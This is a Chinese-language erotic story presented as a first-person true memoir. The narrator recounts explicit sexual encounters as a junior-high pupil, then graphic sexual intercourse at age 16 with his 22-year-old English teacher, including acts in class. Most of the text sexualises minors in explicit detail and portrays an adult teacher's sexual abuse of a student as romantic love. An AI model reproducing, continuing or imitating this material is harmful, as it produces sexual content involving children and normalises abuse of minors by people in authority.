我的情史[校园春色]

 

这是本人真实的经历,至今仍难以忘怀。犹豫再三,还是写出来与大家分享。内中人物当然都是假名,但内容却是千真万确的。但愿各位朋友也像我一样珍惜自己遇到的每一次机会,享受人生。

我叫晓东,今年32岁,在一家杂誌社的编辑部工作(杂誌的名字就不好告诉你们了)。我有一个漂亮可人的妻子,由于主角不是她,所以就不在这里向大家介绍了。

说来惭愧,我虽然长得很精神,很多女孩说我帅,给人一种深沈和多情的感觉。但实际上我与女孩的性体验却并不早。记不得是小学几年级时我开始了手淫。班里有一个清纯亮丽的女孩,能歌善舞。就是因为有一次联欢会上我们两个合唱了一首歌,一些捣蛋的同学就整天把我们俩视为一对儿,编了许多顺口溜。我当时心里美滋滋的,但表面上却是一付生气的样子。

本来我们两个平常放学一块儿回家,手拉手挺亲热的,可谁知当她知道传言后,竟大哭了一场,对我也爱搭不理的了。现在想来,那时思想和环境的确很保守,让人知道两个男女同学很要好是一件丢脸的事。其实这女孩子很喜欢我,只是让人戳破觉得生气而已,这当然是后来长大后她亲口告诉我的。不过这事对我的影响很大,从此我对与女孩子接触总是慎之又慎,许多慾望只好埋藏心里,晚上用手淫解脱。

总之,手淫是我小学时最大的秘密,几乎每天都要进行,否则会很难睡着。至于幻想的对象则不确定,有时是女同学,有时是女老师,或者电影明星。

还记得小学的一位年过三十的语文老师,许多人都说她是『破鞋』,与别人乱搞。不过她对学生很好,特别是对我,也许因为我的作文总是被当做範文来读。我有时暗暗想,她为什麽不找我搞呢。

不过甚幺是乱搞我也真的不知道。

小学毕业后我到外地寄宿中学读书,临行前的晚上,我背着家人跑出来,与那个和我唱歌的女孩约会。

我们两个都紧张得不得了,连说话都喘气。那天我第一次亲吻女孩,她羞得不敢看我,两手全是汗,小鸟依人地偎在我怀里。我僵硬地抱着她细小的腰身,可以清晰地感觉到她开始发育的胸和臀。晚上看不到她的表情,但那热热的呼吸却吹得我脸和耳朵养养的,不由得抱得更紧。

不过也仅此而已,再没有更进一步的动作,此后两人回忆这段往事,都说后悔没有再进一步动作,不过也的确不知道该怎幺做。


初中时我是全校瞩目的优等生,又是学生会的主席,因而接触女同学的机会就多多了。许多被男同学背后评为校花的女孩都有意无意地找我搭话,不用说,那含情脉脉的眼神透出的内容是任何一个情窦初开的男孩都读得懂的。不过老师盯得也紧,往往刚有女孩子和我搭几句话,第二天就有老师叫我进办公室,详细询问都谈了甚幺,似乎总有人暗中跟蹤我监视我。

不过虽然这些女孩都正值青春无敌的年华,但因我性知识贫乏,胆子又小,生怕破坏自己在老师同学眼中的形象,即使有机会也多错过了。她们单独和我在一起时,也只知道拥抱接吻甚幺的,其它也比我强不到哪去。

一次集体郊游在外面过夜,一个比我高一年级的女孩和我约会,在一片绿树荫荫的小溪旁,我大着胆子从她运动裤上面把手伸进去,去抚摸她的私隐处,发觉那地方布满细软的毛,温暖湿润。她兴奋地喘着气,嗲声嗲气地说「你好坏」。

———————————

上次说到当我将手伸进女孩的运动裤抚摸她的私隐处时,她娇声说「你真坏」

我一下子慌了神儿,赶忙缩手,因为这是第一次被女孩子说自己坏。谁知她却马上用手按住我的手腕,然后双臂搂住我的脖子,挺起屁股将我的胳膊紧紧夹在我们两个中间。

她看着我吃吃地笑,说:「你可真是个好学生呀,这幺老实,人家是说反话的嘛。」

我还是紧张得不得了,因为这毕竟是我第一次摸女孩的私隐处。当我心情慢慢平静一点时,开始感觉到女孩子那地方的温暖和柔滑。

在一小片软软的细茸毛中,我的手指蓦然感触到一条细细的却温热的肉缝,而女孩却突然低低地娇哼了一声。我不由自主地停了下来,轻声问「怎幺了﹖你没事儿吧﹖」

她不回答,却搂紧了我的脖子,再次挺起屁股将那肉缝紧紧帖住我的手指,然后全身上下耸动,带动肉缝摩擦着我的手指。时间不长,我就感觉到手指週围湿津津得沾了许多液体。女孩子的脸紧贴着我的脸,很烫,连她粗重短促的呼吸也是热的,喷在我的脸和耳朵上养养的。

这一会儿我们俩谁也不说话,我只感觉到女孩上下耸动的速度越来越快,急促的呼吸开始变成轻轻的哼声,「好哥哥,顶紧点儿﹗对﹗往上点儿﹗再往上点儿﹗」我有点儿不知所措,只好机械地按她说的做,已经感觉到那肉缝的上端有一个黄豆粒儿大小的肉疙瘩。

顿时,她的哼声转成了拉长的呻吟,我抬头一看,她头高高地抬起,脸沖着天,嘴张得大大的,眼睛却瞇成了一条缝。一阵全身痉挛后,她慢慢平静了下来,睁开眼睛,冲着我又开始吃吃地乐,扭捏着身子在我耳边说﹕「哥哥弄得真舒服﹗」

要不是这天晚上的经历,我还真不知道女孩子也手淫。我正在发愣,这女孩抬头盯着我的脸,又用柔软的小手摸了摸我的下巴,突然问我﹕「喂,你们男同学,我是说你,也这样弄自己的吗﹖」

这问题一下子碰到了我几年来最大的秘密,出于维护自己的形象和自尊,我赶紧摇摇头。谁知她鬼头鬼脑地斜了我一眼,突然伸手摸向我的下身,触到我早已坚挺的阴茎,顿时坏笑起来,「哈哈,你骗不了我,你的鸡巴真硬﹗」我被这突然袭击搞得头『嗡』地懵了。

正当她急不可待地去拉我的裤链时,我才似乎猛然清醒过来,二话不说,我推开她,立起身就往回跑,那带点儿淫蕩的吃吃的笑声就被我抛在了身后。


回到宿营地时,同学们都在忙着準备晚上的联欢会,也没注意我的慌张神态。

联欢会开始了快一半的时候,那女孩子才悄悄回来。我一直不敢与她那火辣辣的目光对接。月光下,那红红的篝火将她那圆圆的细嫩的脸庞映得通红,那湿润的厚厚的嘴唇上却闪着亮亮的光。许多男孩子请她跳舞,她都拒绝了,坐在角落里不动。每当我眼角扫过她时,都能感觉到她其实一直在盯着我。

在以后的一年多里,我们俩再也没有约会。这不光是因为我被她的大胆所吓,也是因为大家都住在寄宿学校,除了极少数郊游外,几乎再也没有机会约会。不过我们倒是可以经常在学校的食堂或是下课时见面,虽然不能公开交谈,但她那双亮亮的眼睛却总是在我身上打转。而我却装作若无其事的样子,儘量不去看她。

我们的交往也就划上了句号。后来她的大胆还是出了事,在与一位校外小痞子偷偷摸摸好了一阵后,终于怀了孕,让学校知道后开除了,此后再无她的消息,现在,我连她的名字都记不起来了。

初中二年级的那件事虽然并不算甚幺真正的情史,但毕竟对我性心理的发育产生了难以忽视的影响。我的手淫更频繁了,手淫时脑子里的想像更具体化了。那温软湿润的肉缝像一直贴在我的手上,挥之不去。我很后悔当时没有敢用眼睛看一看,那个神秘的地方究竟是甚幺样子。

学校开了生理课,书上仅有一幅女性性器的画,偷偷研究了很长时间,还是无法与那真实生动的实物联係起来。我开始用另一种眼光去看週围的女孩,想像她们是否与那位女孩一样,是否也偷偷自己或与男孩进行我遇到的活动。越是这样,我的心越烦躁。上课也不太专心了,那些平时对我挤眉弄眼的女孩成了我脑海里的小蕩妇。

我的个子高,在班里座位排在最后面,这为我在课堂上偷空手淫提供了条件。每当大家都聚精会神听老师讲课时,我却难忍下身勃起后的冲动,隔着裤子攥紧自己的阴茎一阵捏弄,下课后又赶紧到厕所擦洗射出的精液。

终于有一天,我的这种行为引发了我16岁上第一次浪漫的情史。

刚上高一,我们学校来了四个刚从师範大学毕业的年轻老师。在一次全校大会上,他们都上了主席台挨个儿和大家见面。一个名叫林肖依的女老师马上吸引了我的目光。当她从主席台上站起来向台下的我们点头致意时,我眼前一亮,心跳猛然加快,感觉就像以前见过面似的。

如果各位非要我描述她的相貌,我恐怕用文字难以讲清楚,不如说出一个也许大家能够有所比照的人,她简直就像影星朱茵的孪生姐妹。

我能感觉到我週围的窃窃私语马上沈静下来,不管是男同学还是女同学都瞪大眼睛看着她。我的下身早已硬了起来,我偷偷用眼角扫了一下週围,挪动一下屁股,双手护住裤裆,以免被人发现。

以后有一个多月,这些新来的老师进行了一系列的课堂实习后开始分别到各班上课了,我知道林老师是教英文的,但可惜我们已经有了英文老师,因此从未奢望她能教我们,只希望每天能看到她就满足了。

然而天有不测风云,我们慈祥的英文老教师突然因肝病住院了,作为英文课代表,我刚刚带领几个同学到医院看望他,一回到教室,班主任也随后进来,大声对我们说﹕「同学们,张老师不幸住院了,今天我给大家介绍一位新的英文老师,大家欢迎﹗」。

话音未落,一个娇小的身影闪了进来,定睛一看,哇,竟是林老师﹗

全班顿时一片寂静,随后就是一片热烈的掌声和欢呼声。那一时刻,我有了一种预感,我的一生注定要与她有些甚幺了。


其实,喜欢林老师的可远不止我一个,除了其他人不说,就是在我们班内,无论是男孩还是女孩都概莫能外。因为,只要是上英文课,平常调皮捣蛋的男孩们都出奇地安静,女孩们的穿着则明显变得漂亮了。

而我却相反,变得更加六神无主,注意力怎幺也集中不起来。

林老师其实是个很活泼的女孩(她那时也不过22岁),总是一脸甜得让人心醉的笑脸。她个子娇小,但凹凸有致,穿甚幺都好看。她虽然是老师,但毕竟与我们年龄差别不太大,所以和所有同学都很和得来,课间休息时不断地一块儿说笑。几乎人人都愿意凑过去,哪怕就近看一眼。

我却不然。我总是站得远远的,保持着惯有的虚假的矜持。但我发现,每当我眼光投向被同学缠绕的她时,偶尔也能与她若无其事地扫过来的目光对接上,她对我友善地一笑,又转头与她的『崇拜者』们谈笑。

我们所有同学都住在学校,除了週末是不许回家的。我们每天早晨要集体跑步做早操,然后上早自习,下午最后一节课是活动玩耍时间。自林老师来后,每天上早自习时,都能从教室的窗口看到外面的操场上林老师穿着鲜红的运动衣跑步,漂亮的腿,鼓鼓的屁股和上下耸动的双乳都可以看得一清二楚。

我们两个第一次单独在一起说话也是在操场上。那是她到班里上课后的第二个礼拜三下午,我们几个男同学正在操场上打篮球,我跑到操场边去捡球,她笑瞇瞇走过来,用那富有磁性的声音叫住我﹕「晓东,你来一下好吗﹖」

我答应着把球扔回去,然后和她一起走上操场边小河旁边的林荫小路上。她想听听同学们对她讲课的意见。

我其实根本没心思谈这些,只是不断乘她不注意盯着她的小山丘似的双乳看,不想她突然回头,捉住了我的眼神,她脸腾一下红了起来,不自然地去扯自己运动衣的下摆。

我被她发现,更是慌得要命,话也说不成句了。

尴尬了一会儿,还是林老师开了腔,她声音有点变样﹕「你,你的属相是甚幺﹖」

「龙」,我随口回答。

「那你才16岁呀」,我知道她是明知故问,我们高一的同学,差不多肯定都是16岁。

「我发现班里好几个女孩子对你有点儿那个呢。」

她恢复了活泼的语调,我红着脸看她一眼,「我才不稀罕呢。」

她瞪大了双眼,「呦,这幺大口气,眼光很高吗。」

我心里说「老师,我看上的就是你」,可是嘴上说出来的却是﹕「我还是个中学生,怎幺会交女朋友呢﹖」

她说了一句「可是」就停住了,没有再说下去。这时我发现她故意走得比我靠后一点,水灵灵的大眼睛上下打量我的身体。我知道许多女孩喜欢我不仅因为我学习好,还因为我有一付好身材,显得早熟。

这场谈话以敷衍了事告终,但此后我发现老师看我的次数明显增多了,眼光里似乎还有别的甚幺内容。

那大概是9月底的一天,我们上英文课。林老师回身去写板书,胳膊抬起,露出水蛇般的腰身和翘起的圆臀,我实在又忍不住,开始在课桌下面手淫。谁知正要到高潮的时候,我寞然发现老师紧紧盯着我看,我因兴奋而张开的嘴来不及合上,僵在了那﹗

「晓东,你把课文后半部份口译出来。」

我慌慌张张站起来,翻开课本,结结巴巴开始翻译。一会儿,老师踱步走过来,站在我身边。当我刚翻译完放下课本时,才发现老师的嘴巴也张了起来,眼睛却向下盯着我的下身。我赶紧一看,天那﹗我的裤子前方呈帐篷状,由于紧张,我丝毫没注意我挺起的阴茎一直没有软下去﹗

我没等老师说话就腾地一声赶紧坐下去,用课桌去遮挡下身。抬头再看老师,她已经低头走向讲台。直到这堂课结束,我再也没敢看老师一眼,而老师讲课的声音听着也有点变调,干涩而生硬。

晚自习的时候,大家都聚精会神地做作业,林老师悄悄走到我身边,用蚊子一样的声音对我说﹕「你,你出来一下好吗﹖」

整个小树林里除了旁边小河的潺潺流水和偶尔几个蝈蝈的叫声外,几乎听不到别的动静,从这里越过操场可以清楚地看到对面一排排教室里射出的灯光。

我和林肖依几乎同时感觉灯光都照在我们的身上,于是一起离开林荫小路向树林深处挪动。我因要调整姿势就準备将伸到她私处的手撤回来,可她像打坠似的抱紧我的脖子,两腿叉开夹住我的腰,继续着她的喘息。

我只好费劲地用左手抱住她的腰,一点一点地往里挪。刚站稳,她突然一改被动,伸手使劲将我的T恤衫从裤子里拉出来往上卷,露出我的胸膛,然后又将自己雪白的小上衣向上卷起来,白色的胸罩包着摇摇欲坠的双乳映入我的眼帘。

她噘起小嘴,斜着眼沖我一笑,又低头看一眼自己的乳房,引导我去解开那乳罩,我手忙脚乱一阵,实在不知从哪下手,性急之下使劲一扯,『啪』的一声,乳罩被扯了下来,肖依随之也惊叫一声。一对坚挺的乳房颤抖着呈现在我面前,光滑、雪白,那高峰的顶端一对娇嫩欲滴的乳头随着肖依的喘息上下起伏。

我不禁讚叹一声就去摸,肖依羞得赶紧又抱住我,那温暖、挺拔的乳峰就肉挨肉地抵住了我的胸膛。这种令人销魂的肌肤之亲让我陶醉,我再次推开她的胳膊,用手去抚摸那乳峰,肖依这次没有躲闪,却羞怯地把头偎在我肩膀上,悄声说﹕「东,你轻点儿。」

我小心翼翼地去触碰,她不由自主地全身一震,发起抖来。

我连忙问﹕「老师,你没事儿吧﹖」

她不回答我,却用柔软的嘴唇去吻的耳朵、我的脸和我的嘴。

不知过了多久,肖依开始拉开我抚摸她乳房的手,引导我再次伸到她的两腿之间那片草丛,然后将她的手触碰我早已高高隆起的裤裆,轻轻捏攥了一会儿,她的手稍微犹豫了一下就去拉我的裤链,纤细的小手灵巧地向下拉下我的内裤,我的阴茎于是赤条条弹射出来。

肖依矇眬的双眼向下望去,又咬着嘴唇斜眼看着我﹕「好大呀﹗你…你每天都那样吗﹖」

我嘿嘿笑了笑,故意问﹕「哪样啊﹖」

她吃吃一笑,用小手使劲一捏我的阴茎「你说哪样呀﹖」

我有些受不了了,说「老师,你给我弄吧﹗我给老师弄﹗」

于是,我们两个一人伸一只手在对方的裤裆里,相互手淫起来。

我喜欢老师那温湿的肉缝,手指在肉缝的一端到另一端来回游走,老师娇喘着摇动着屁股,似乎在寻找着甚幺,然后像以前那个女孩一样,一个劲儿说﹕「往上一点儿,再往上一点儿」我只好『顺流而上』,终于在顶端触碰到一个突起的肉豆,老师身子一抖,轻呼了一声,连连说﹕「对﹗对﹗别动了,就是那﹗」

我不敢再动,她的屁股却做着圆週运动,让那肉豆顶着我的手指摩擦。

这边,她捏握我阴茎的手也加快了节奏。与我自己做不同,她在前后套弄的同时,还不停地捏攥,一紧一松,似乎很有经验。

我第一次体验女孩柔嫩的小手为我手淫,那种激动就不用说了,加上老师的喘息一个劲儿向我脖子和脸上喷热气,我不一会儿就感觉要射了。我开始哼哼,抱老师的左手开始用力。

老师加快了喘息,急急地说﹕「东…东…你…你要射了吗﹖」

我「嗯」了一声算回答,她套弄我的手开始加速,当我张开嘴巴拉长声音哼叫时,她身子向旁边一躲,一股白色的喷泉从我阴茎里射出来,喷向两米开外,一阵全身抽搐后,我喘息着慢慢平静下来。

而老师却反身重新抱紧我,两腿夹紧我的右手,两个乳房贴在我胸口上,使劲蠕动。她的肉缝好像在淌水,那肉豆则滑滑得按不住了。

老师的喘息又开始出声,刚刚「啊」了一声,马上又压低声,变成了哼叽,我知道她是怕有人听见,忙说﹕「老师,这附近没人,你别怕。」

她咬着牙使劲摇摇头,加快了动作,一会儿,她全身也开始抽搐,呻吟和哽咽混在一起,她的嘴却张开死死咬住我的肩膀,我疼得要命,却也不敢喊出来。

激情过后是静静的沈默。我帮肖依老师整理一下衣服,将裙子的腰带重新系好。而我的阴茎她却不让它缩回去,软软地搭拉在裤子外面,她的手一直捏着它。我抬起她的下巴,想看看她美丽的脸旁,却意外地发现她眼角里含着晶莹的泪花,我慌了﹕「老师,你怎幺了﹖都是我不好,我学坏。」

她露出灿烂的笑容,摇摇头,轻声说,「东,我喜欢你,喜欢这样,我爱你﹗」

啊,「我爱你」﹗诸位,当你只有16岁,正是充满浪漫和幻想的花季时,听到一个你景仰的美丽女孩这样深情地对你说出这几个字,该是甚幺心情﹗

我激动不已,搂紧了老师,连连说﹕「老师,我也爱你﹗我会永远爱你﹗」

老师深情地吻了我一下,撒娇地说﹕「可我比你大6岁呢﹗」

「我不管﹗」我发誓似地提高了声音。

肖依老师手里捏弄着我的阴茎,小声说﹕「其实自打来这个班的头一天起老师早就喜欢上你了,看你那勾人的眼睛,实在不像才16岁。还有你瞧这个丑东西,又黑又粗,跟你的脸哪般配呀﹗」

随后她又接着问﹕「哎,你的这个软下来也这样大呀﹖」

我有点不好意思。大家知道,凡是长期手淫的人,由于阴茎不断充血,血管和扩约肌就不容易收缩,造成即使软下来,体积仍然较大,龟头也像个蘑菇一样出奇地大,我就是这个样子。

谁知老师后头的话却让我吃惊﹕「怪不得那幺多女孩老是往你这个位置看。」

我还真不知道女孩会盯我这个地方看。忽然我醒过味来﹕「老师,你说实话,你是不是也看过我这﹖」

老师羞得把头又埋在我的肩膀上,吃吃地笑个不停﹕「谁让你穿着衣服还那幺鼓鼓的嘛﹗」

我又兴奋起来,抓住老师的手让她套弄我的阴茎。

这时,远处教室的灯光在相继熄灭,晚自习要结束了。老师回头一看,赶忙说﹕「今天不弄了。」

我拉住她不同意,她抬手沖我的阴茎打了一巴掌﹕「小坏蛋﹗快收回去﹗」

然后拢一拢黑亮的头髮,说﹕「太晚了,快回去吧,你想让别人都看见呀﹗」


我只好不情愿地整理好衣裤,搂住她往回走。走过河上的小桥,她挣脱开我﹕「东,你先走,过一会儿我再走。」

我知道她是怕让别人看见,我说﹕「还是你先回去吧,这里黑咕隆咚,你会害怕的。」

她感激地看我一眼,吻一下我的嘴,返身先走了。

这一夜我失眠了,翻来复去睡不着,脑海里全是老师的影子,我真的恋爱了。

第二天英文课时,老师看上去也是一脸疲惫,只是那双眼睛却依然明亮,甚至比以前更有神彩。我们的眼光不时对接在一起,但都迅速地移开。我有时恨不得在教室里对同学们大声宣布﹕这美丽的老师是我的恋人﹗每想到这里,脸就涨得通红。

我们开始了日益频繁的约会,有时是以公开的理由,像甚幺她找我了解同学学习情况啦,我找她交作业啦﹔有时是秘密进行,上课时乘同学不注意,她或我塞给对方一张纸条,注明时间和地点。

这种『地下工作』的方式让我们两个兴奋不已。

这种第一次恋爱就碰上的畸恋对我以后的性心理和性行为产生的影响可说是深刻和长远的。

一个月后,我们两个已经不能满足于相互摸摸抠抠、搂搂抱抱的了。她显然有过性经验,但又坚决否认谈过恋爱,只坚持说以前的事不想再谈。直到十几年后的今天,我仍然不知道她的这个秘密,我猜测,她是受过伤害-一种她不情愿的伤害。那是一个秋高气爽的时节。

白天,老师上课时走到教室后面,塞给我一个纸条,上写﹕「晚上7点,我宿舍。小心﹗爱你的依。」

我知道,今天晚上学校在大礼堂放电影,几乎所有人都会去看,正是我们欢会的好机会。晚上在食堂草草吃完饭,就焦急地等着7点钟的到来。

电影也是7点开始,在此之前大家都陆陆续续去抢座位去了。

我避开去礼堂的大路,穿过草坪,绕道来到老师的集体宿舍楼。她住在三楼的最里面的一个单元。楼道里静悄悄的,我的心却吊得高高的,因为以前来总是要交同学们的作业甚幺的,这次被人看见,就没有甚幺好表白的理由了。我走到门口要敲门,发现门有道缝,门是开着的﹗我兴奋地推门闪身而进,老师正眼睛矇眬地站在我面前﹗

我沖到肖依老师的面前,将她拦腰抱起,在屋子内抡了一圈。老师娇娇地低声嚷着﹕「哎呀﹗你把人家弄疼了﹗快放下我﹗」

我用嘴将她的小嘴盖住,不让她说话。哇,今天老师好像刚化了粧,一身香气让人迷魂。嘴唇涂得显然是一种无色的口红,显得湿润而光亮。


她身上穿了一条黑白碎花连衣裙,显得妩媚悄丽。她凑近我脖子闻了闻,用命令的口气说﹕「去,赶紧去洗个澡﹗」

我嘿嘿笑着跑进她房间的洗手间,站在浴缸里洗淋浴,10分钟后,老师从门外递进她自己的一件半大睡衣,叫我穿上。

丝质的睡衣贴在身上,像挨着老师的肉体一样,光滑、舒适。我一出来,马上就与老师相拥在沙发上,接吻、拥抱。

我爱抚把弄肖依老师的技巧已经越来越成熟。我把老师放在我的腿上,她结实的屁股就压在我的阴茎上,然后去吻她的半张开的湿润的小嘴唇,舌头直直地插进去,分开两排雪白的牙齿,在她的口腔里搅拌。她开始有反应,不断咽着口水,挺挺的胸脯上下起伏。

我现在才发现她没有戴乳罩﹗那瓷碗形状的双峰上两颗乳头将衣服高高顶起,我禁不住低头用嘴唇咬住其中的一个。

「哎呀﹗你又使劲了﹗」老师张开紧闭的双眼,娇滴滴地说。

我先看看窗子早已拉上了窗帘,于是二话不说将手绕到她后背,熟练地拉开连衣裙的拉链,从上向下退她的裙子。「呀﹗不行﹗快把灯关了﹗」老师着急地喊。

我沖她坏笑﹕「我的美人儿,就一盏台灯,关甚幺关﹗再说,我们总是晚上亲热,今天说甚幺也得看你个仔细﹗」

她不再出声,当裙子向下退去时,她羞得捂住自己的双眼。我从她细巧的脖子开始慢慢扫视她的全身,两个鲜红的乳头镶嵌在雪白的双峰上,就在我的鼻子底下晃动,我用手轻轻触碰,老师哼了一声就把头扭向一边。

掠过平滑的小腹,我看到了自己在黑夜里摸过了十几遍的阴毛,它们浓、黑、亮,捲曲成一片。

老师发现我盯着那看,赶紧又抬起上身用手去遮挡。我拉开她的手,坚决地将手伸到她的双腿间,「啊…啊…」老师扬起头开始呻吟,我手指分开阴毛,找到两片厚厚的大阴唇,慢慢往里陷进去,就触到了那颗肉豆。老师一阵抽搐,呻吟粗重了起来。

我的阴茎早已硬硬地挺起,分开睡衣前摆,就顶在了老师的屁股沟里。老师慌张坐了起来,伸手握住,忙说﹕「先别﹗」

掉转身来,趴在我身上去套弄我的阴茎,那白白的屁股沟就摆在了我面前。我从她的后面扒开两扇屁股,就看到了她被阴毛半遮半掩的阴户,这是除了教科书上的图画外我第一次近距离观看女孩的私处,令我激动不已。

我用手指沿着那粉红的阴户内侧滑动,在肉豆的另一端,我看到一个四週多皱折的小洞口,还没等去抚弄,就发现从里面寖出些许液体。

「老师湿了﹗」我回头对老师说。老师停止抚弄我的阴茎,回头盯着我,脸是红红的,眼睛放出光芒﹕「老师要给你﹗」她像下了决心似得说。


「你来﹗」老师起身拉着我的手,走进她的卧室,仰躺在自己的床上。她两腿分开,拉在在她腿中间站好。

我的直挺的阴茎就指向她的头。

她直勾勾看了它一眼,抬头对我说﹕「东…想要老师吗﹖」

我激动地点头。「那幺,来吧﹗」她向后躺倒,顺势拉我趴在她身上。

我紧张得很,根本不知下一步该干甚幺。她攥着我的阴茎,拉向她的阴户,先是上下摩擦湿湿的阴唇,然后对準那个小洞﹕「你往前顶吧﹗」她提示我。

我使劲,不行,再使劲,粗大的龟头挤了进去,老师长长地哼了一声﹕「你的太粗了,再用力﹗」

我遵命猛地一挺屁股,『噗嗤』一声,阴茎插入了一大半。

「啊﹗你真行﹗快来呀﹗」老师把住我的屁股,使劲往自己身上拉,等我的阴茎全部没入时,她又让我往外拔。

「来回抽动,知道吗﹖」我点点头,开始前后耸动。阴茎在老师小洞里的感觉真好﹗紧紧的、热热的、湿湿的、麻麻的。

我因为长期手淫,所以并不像一般的处男那样容易早泄。抽送了一会儿后,老师小洞口传来啧啧的水声,我赶紧低头看,老师抓住我的头髮不让看,却搂住我的后背让我压在她鼓涨涨有些发红的乳房上。

老师紧闭双眼,发抖的嘴唇漫无边际地吻着我,然后在我耳边悄悄说﹕「我爱死你了﹗」

我也喘着回答﹕「老师,我也一样﹗」

「别叫我老师,叫我心肝宝贝﹗」

我就开始叫「心肝宝贝,我爱你﹗」

老师的手在我的后背从上到下抚摸着。

一会儿,她悄悄在我耳边问﹕「舒服吗﹖」

我点头。

她又问﹕「你说,我们现在是在做甚幺﹖」

我愣一愣,摇头表示不知道。

「那你知道你那东西叫甚幺吗﹖」老师的声音有些淫蕩了。

我又摇头。

「叫鸡巴﹗」

噢,我记起初中时那次和女孩在一起,她就是这幺叫的﹗

「那你的这东西叫甚幺呢﹖」我反问。

老师吃吃地蕩笑﹕「叫骚屄,我们现在干的叫大鸡巴操小骚屄﹗」

天那﹗我可是第一次听到这幺淫蕩的话,更不能想像是从肖依老师这样美丽的女孩的口中说出来的。

我兴奋地在老师的阴道,不,是骚屄里胡乱抽插,不停地问﹕「老师怎幺会知道这个﹖」

老师答非所问﹕「跟你在一起,我甚幺都敢说。快,来呀﹗用你的大鸡巴使劲操我吧﹗啊…啊…哎哟…」

她的骚样使我再也把持不住了,我觉得鸡巴头越来越发酸发麻,忍不住加快节奏,哼出声来。

「…啊…嗯…嗯…哼…哼…啊…东…东…你要…要射了吗﹖」

我嗯了一声,开始最后的沖刺,但老师却突然推开我,用手握住我湿淋淋的鸡巴,继续用手套弄,几乎与此同时,我开始急速地射出白浆,打在床铺上发出『噗、噗』的响声。

我不停地「啊」了好几声,才停下来。老师继续呻吟着说﹕「我今天是危险期,不能射在里头的﹗」

一阵手忙脚乱地擦试之后,我感觉浑身通泰,也有一点累。老师已经不像以往那幺害羞,像完成了一件大事似的一直是想笑但又使劲忍着的表情,更显得娇媚可爱。

我们两个赤条条搂抱在床上。她的脸触碰到床上一片湿湿的地方,那是刚纔我射出的一大滩精液,虽然已用毛巾擦掉了,但那浓浓的味道却使老师皱起了眉头。

她又凑上去闻了闻,回头斜眼看着我﹕「你可真讨厌﹗这怎幺办﹖」

「放洗衣机里不就得了嘛。」我不以为然。

「放屁﹗」老师眼瞪得圆圆的,「男人那东西能洗掉吗﹗洗完了也有黄黄的斑点。」

我惊讶于老师经验的丰富,想想也难怪,这幺漂亮的女孩,没有男朋友反而奇怪了。可是她为甚幺对这件事闭口不谈呢﹖

我心里这样问完自己。又一转念﹕「唉,我能拥有现在的她已是幸运了,何必管那幺多﹖」

「想甚幺呢﹖」老师紧紧钻在我怀里,小鸟依人地慢慢抚摸着我的大腿。

「我在想我一定要娶你做我的妻子。」

老师吻吻我的胸脯,说﹕「现在先别唱这幺好听,谁知道你将来能不能看上我,那幺多女孩子喜欢你,等我老了,你就不这幺说了﹗」

我赶忙说﹕「不会的﹗我永远爱你﹗」

老师的眼睛亮了一下,但马上又恢复了矇眬的样子。

她的手已经滑到我的虽然已软,但并未明显变小的鸡巴上。

「东,你的这个真棒﹗嘻嘻,就是丑了点儿,跟你的脸正好相反。」

「那甚幺样的算漂亮呢﹖」我急急地问。

「哈哈,着急啦﹖我开玩笑的。老师最喜欢它了。女孩子都喜欢丑陋的鸡巴﹗」

这渐渐淫蕩的声音配上她娇美的脸,真是令人销魂的组合﹗我的鸡巴又硬了﹗

我迫不及待地翻身往她身上扑去,分开她两条大腿,挺起大鸡巴就往肉缝里插。老师闭上眼睛,任凭我弄。

谁知刚刚插了半截儿,老师猛地睁眼,抬手看看还戴在手腕上的表,急急地就推我﹕「东…东,快﹗电影快完了,你快走吧﹗」

我实在捨不得马上就罢手,因为老师的小肉洞正紧紧包着我的粗硬的鸡巴。不过,我还是胆子小,一想到老师同学马上要回宿舍了,就开始紧张。

老师趁我犹豫,推翻我爬起来,跑到客厅把我的衣服抱过来,匆匆帮我穿衣。

拉上拉链前,老师伸手捏了捏我的鸡巴,自言自语地说﹕「小弟弟,今天委屈你了,改日再来吧﹗」

我也不知道她是对我说的还是对我的『小弟弟』说的,反正我激动地拥抱她,她也软软地倒在我怀里,任凭我上下抚摸她的身子。

我依依不舍地离开老师的宿舍,一路上精神恍惚,两腿走路轻飘飘的,眼前浮现的一直是老师娇嫩、雪白、凹凸有致的裸体,她甜美的俏脸在我眼前晃动,她动听而淫蕩的喘息和浪语在我耳边响着……

我们开始陷入疯狂的热恋中。只要週围没别人,我只叫她依,她只叫我东。如果是在性爱中,我叫她姐,她称我弟。

她有事没事到我们教室来一会儿,就为了看我一眼,我也巴不得她天天来。同学们都说林老师对同学最关心,当然,无论是男同学还是女同学,都希望经常见到她,她太美了。

上课时,我成了一块儿磁石,引得肖依老师的目光不时投向我,而我则几乎是不眨眼地盯着她,盯她的俏脸,盯她鼓胸,盯她圆滚滚的屁股,盯她那我的鸡巴进出过的地方。


肖依的脸总是精神焕发,眼睛神采飞扬,鲜红的嘴唇变得更湿润,走路的姿势也变了,细腰下撅起的屁股扭得更厉害,像踩在沙发床上走路,我知道这一切变化都是因为我操了她。在以后玩弄女人的情史中,观察女人的面相和走路姿势成了我的一大爱好和成功的手段。

一天英文课上了一半的时候,同学们低头做练习,我实在忍不住,就用眼睛失意老师过来。老师柳腰轻摆着踱步到我旁边。我示意她看我的下身,她一低头,眼睛猛然圆睁,轻轻「啊」一声又赶紧用手捂住。

原来,我已经将裤子拉链拉开,将勃起的黑黑的大鸡巴挺在外面,由于特别兴奋,那龟头一抖一抖放出狰狞的亮光,上面的小孔里溢出透明的黏液。

她慌得四週看,然后狠狠瞪我,示意我弄回去。我不理会,反而拉她手去摸。她拗不过我,小手颤抖着攥住我的大龟头,我咬牙不让自己哼出来,伸出右手就插进了老师的短皮裙里。

她浑身一震,鬆开攥我鸡巴的手,转身急急走开。我看到她走回讲台,喘息了一会儿,然后说﹕「同学们把习题做好后交给课代表,下课后送到我房间去。」

然后夹起讲义,匆匆低头走了出去。

晚上当同学们陆陆续续到教室时,我悄悄溜进了老师的宿舍。

门没锁,我一进去,老师身穿半透明的奶色睡衣,从卧室冲了出来,扑进我的怀里,两只小拳捶打我的胸膛,低声嚷着﹕「你要死呀﹗教室里你都敢那样,弄得人家…都…都…水儿都出来了﹗」

我的手从抱她的后背向下移到她的屁股,揉捏几下后将两个屁股蛋儿往两边掰,伸手就往屁股沟里摸,她赶紧往前一挺,平坦柔软的小腹就紧紧顶在我的挺起的大鸡巴上。

她长出气似的「啊」了一声,搂住我就喘息起来﹕「大鸡巴弟弟,姐姐不行了﹗」

我一面忙着抚摸,一面回答﹕「小骚屄姐姐,弟弟早就想操你了﹗」

